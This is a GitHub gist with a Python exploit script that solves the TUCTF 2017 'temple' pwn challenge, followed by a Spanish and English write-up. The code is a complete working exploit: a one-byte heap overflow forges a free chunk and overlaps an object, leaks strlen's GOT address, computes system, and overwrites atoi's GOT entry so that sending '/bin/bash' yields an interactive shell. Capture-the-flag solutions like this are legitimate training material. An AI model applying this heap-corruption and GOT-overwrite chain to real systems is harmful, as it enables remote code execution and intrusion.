Last active
November 27, 2017 17:18
-
-
Save segura2010/eb7a24f0343ff06fc581f966b6316912 to your computer and use it in GitHub Desktop.
My Solution for the temple challenge of the TUCTF 2017 (https://tuctf.asciioverflow.com/)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
''' | |
TUCTF 2017 - https://tuctf.asciioverflow.com/ | |
temple (500 points) - PWN | |
-------------------------------------------------------- | |
(Small)Explanation at the end of the file. | |
-------------------------------------------------------- | |
''' | |
import socket | |
import re | |
import hexdump | |
import pwn | |
import telnetlib | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
#s.connect(("temple.tuctf.com", 4343)) | |
s.connect(("go.hole", 3000)) | |
neonateStr = 0x00401d61 | |
ATOIGOT = 0x603098 | |
STRLENGOT = 0x603038 | |
#STRLEN_TO_SYSTEM_OFFSET = 0x40780 # ctf server (provided lib.so) | |
STRLEN_TO_SYSTEM_OFFSET = 0x46390 # local | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# Create the first (bad) object | |
s.send('2\n') | |
data = s.recv(1024) | |
print data | |
s.send('64\n') | |
data = s.recv(1024) | |
print data | |
s.send('AAAAAAAA\n') | |
data = s.recv(1024) | |
print data | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# Overflow one byte to mark as free block in heap | |
s.send('3\n') | |
data = s.recv(1024) | |
print data | |
s.send('8\n') | |
data = s.recv(1024) | |
print data | |
s.send('AAAA' + '\x00'*60 + '\x50\n') | |
data = s.recv(1024) | |
print data | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# Create new object | |
s.send('2\n') | |
data = s.recv(1024) | |
print data | |
s.send('10\n') | |
data = s.recv(1024) | |
print data | |
s.send('CCCC\n') | |
data = s.recv(1024) | |
print data | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# Delete the created object to fix the memory space | |
s.send('1\n') | |
data = s.recv(1024) | |
print data | |
s.send('9\n') | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# Create a new object that will be created in our controlled string | |
s.send('2\n') | |
data = s.recv(1024) | |
print data | |
s.send('10\n') | |
data = s.recv(1024) | |
print data | |
s.send('CCCC\n') | |
data = s.recv(1024) | |
print data | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# set owner to strlen@got to leak the strlen address | |
# we need to set it in the owner because the wisdom will be freed, and it will fail -> PANIC | |
s.send('3\n') | |
data = s.recv(1024) | |
print data | |
s.send('8\n') | |
data = s.recv(1024) | |
print data | |
s.send(pwn.p64(0x11) + pwn.p64(0x0) + pwn.p64(0x8) + pwn.p64(STRLENGOT) + '\n') | |
data = s.recv(1024) | |
print data | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# Get leaked address (print & free it) | |
s.send('1\n') | |
data = s.recv(1024) | |
print data | |
s.send('10\n') | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
hexdump.hexdump(data) | |
which_str = "- " | |
posOfWhich = data.find(which_str) | |
addresses = data[posOfWhich+len(which_str):] | |
hexdump.hexdump(addresses[0:8][::-1]) | |
STRLEN = int('0x' + addresses[0:8][::-1].encode('hex'), 16) | |
SYSTEM = STRLEN - STRLEN_TO_SYSTEM_OFFSET | |
print "[+] Leaked STRLEN:", hex(STRLEN) | |
print "[+] SYSTEM:", hex(SYSTEM) | |
# Create a new pwned object | |
s.send('2\n') | |
data = s.recv(1024) | |
print data | |
s.send('10\n') | |
data = s.recv(1024) | |
print data | |
s.send('CCCC\n') | |
data = s.recv(1024) | |
print data | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# set wisdom to atoi@got | |
s.send('3\n') | |
data = s.recv(1024) | |
print data | |
s.send('8\n') | |
data = s.recv(1024) | |
print data | |
s.send(pwn.p64(0x11) + pwn.p64(ATOIGOT) + pwn.p64(0x8) + pwn.p64(neonateStr) + '\n') | |
data = s.recv(1024) | |
print data | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# modify atoi@got with SYSTEM | |
s.send('3\n') | |
data = s.recv(1024) | |
print data | |
s.send('11\n') | |
data = s.recv(1024) | |
print data | |
s.send(pwn.p64(SYSTEM) + '\n') | |
data = s.recv(1024) | |
print data | |
data = s.recv(1024) | |
while data.find("Your choice:") < 0: | |
data += s.recv(1024) | |
print data | |
# send the desired command to run | |
# (it calls atoi to convert our option, so it will be executed) | |
s.send('/bin/bash\n') | |
print "\n\nYour shell:" | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
''' | |
TUCTF 2017 - https://tuctf.asciioverflow.com/ | |
temple (500 points) - PWN | |
-------------------------- | |
Cada chunk tiene un footer de 8 bytes; donde el ultimo bit indica si esta libre o no. | |
Cada bloque se alinea 16 bytes. | |
Yo puedo overflowear 1 byte. | |
Si creo un wisdom de tamaño 16 (o multiplo de 16), esta alineado al tamaño de bloque, de forma que | |
el siguiente byte indica el tamaño (y el ultimo bit si esta o no ocupado). | |
De este modo puedo aprovechar el overflow de 1 byte para escribir en el ultimo byte (que indica el | |
tamaño del bloque y si esta o no libre) | |
Idea: | |
1. Crear un wisdom de tamaño 64 (0x40) | |
2. Modificar el wisdom para overflowear en 1 byte, y este ultimo byte lo ponemos a 0x50 (80); | |
ya que 0x50 es el tamaño de un bloque de wisdom y se indica como vacio. | |
3. crear un nuevo wisdom; este se creara a continuacion | |
4. liberar el ultimo wisdom creado (para "arreglar" la memoria) | |
5. crear un nuevo wisdom, cuya estructura de datos ocupara el lugar de wisdom overfloweado. | |
Ahora controlamos los 32 bytes de la estructura: | |
8 bytes de longitud + 8 bytes de puntero al string del wisdom. | |
8 bytes de longitud + 8 bytes de puntero al string del creador. | |
6. hacer que el string de dueño apunte a alguna funcion de la GOT (strlen) | |
7. liberar el wisdom para obtener la direccion de la funcion (strlen) | |
8. calcular la posicion de system en base a esa funcion leakeada | |
9. Volver a crear un wisdom (este deberia volver a ocupar el espacio overfloweado como el anterior) | |
10. hacer que el string del wisdom apunte a alguna funcion de la GOT (atoi) que reciba un string controlado como parametro | |
11. Forzar llamada a esa funcion con nuestro string | |
--- | |
English: | |
Each chunk has an 8 bytes footer; where the last bit indicates if it is an used block or not. | |
Each block is aligned at 16 bytes. | |
We can overflow 1 byte at the end of the wisdom string (in "Rethink" option). | |
If we create a wisdom of size 16 bytes (or multiple of 16), it will be aligned so the following bytes to the | |
string will be the footer. The following byte will be the byte that indicates the size of the block | |
and if it is used or not (last bit). | |
We can overflow the wisdom string and set the last byte to something with the last bit equal to 0 (not used). | |
Then, the following wisdom we create will be allocated inside of our controlled string. | |
strlen@got = 0x603038 | |
atoi@got = 0x603098 | |
''' | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment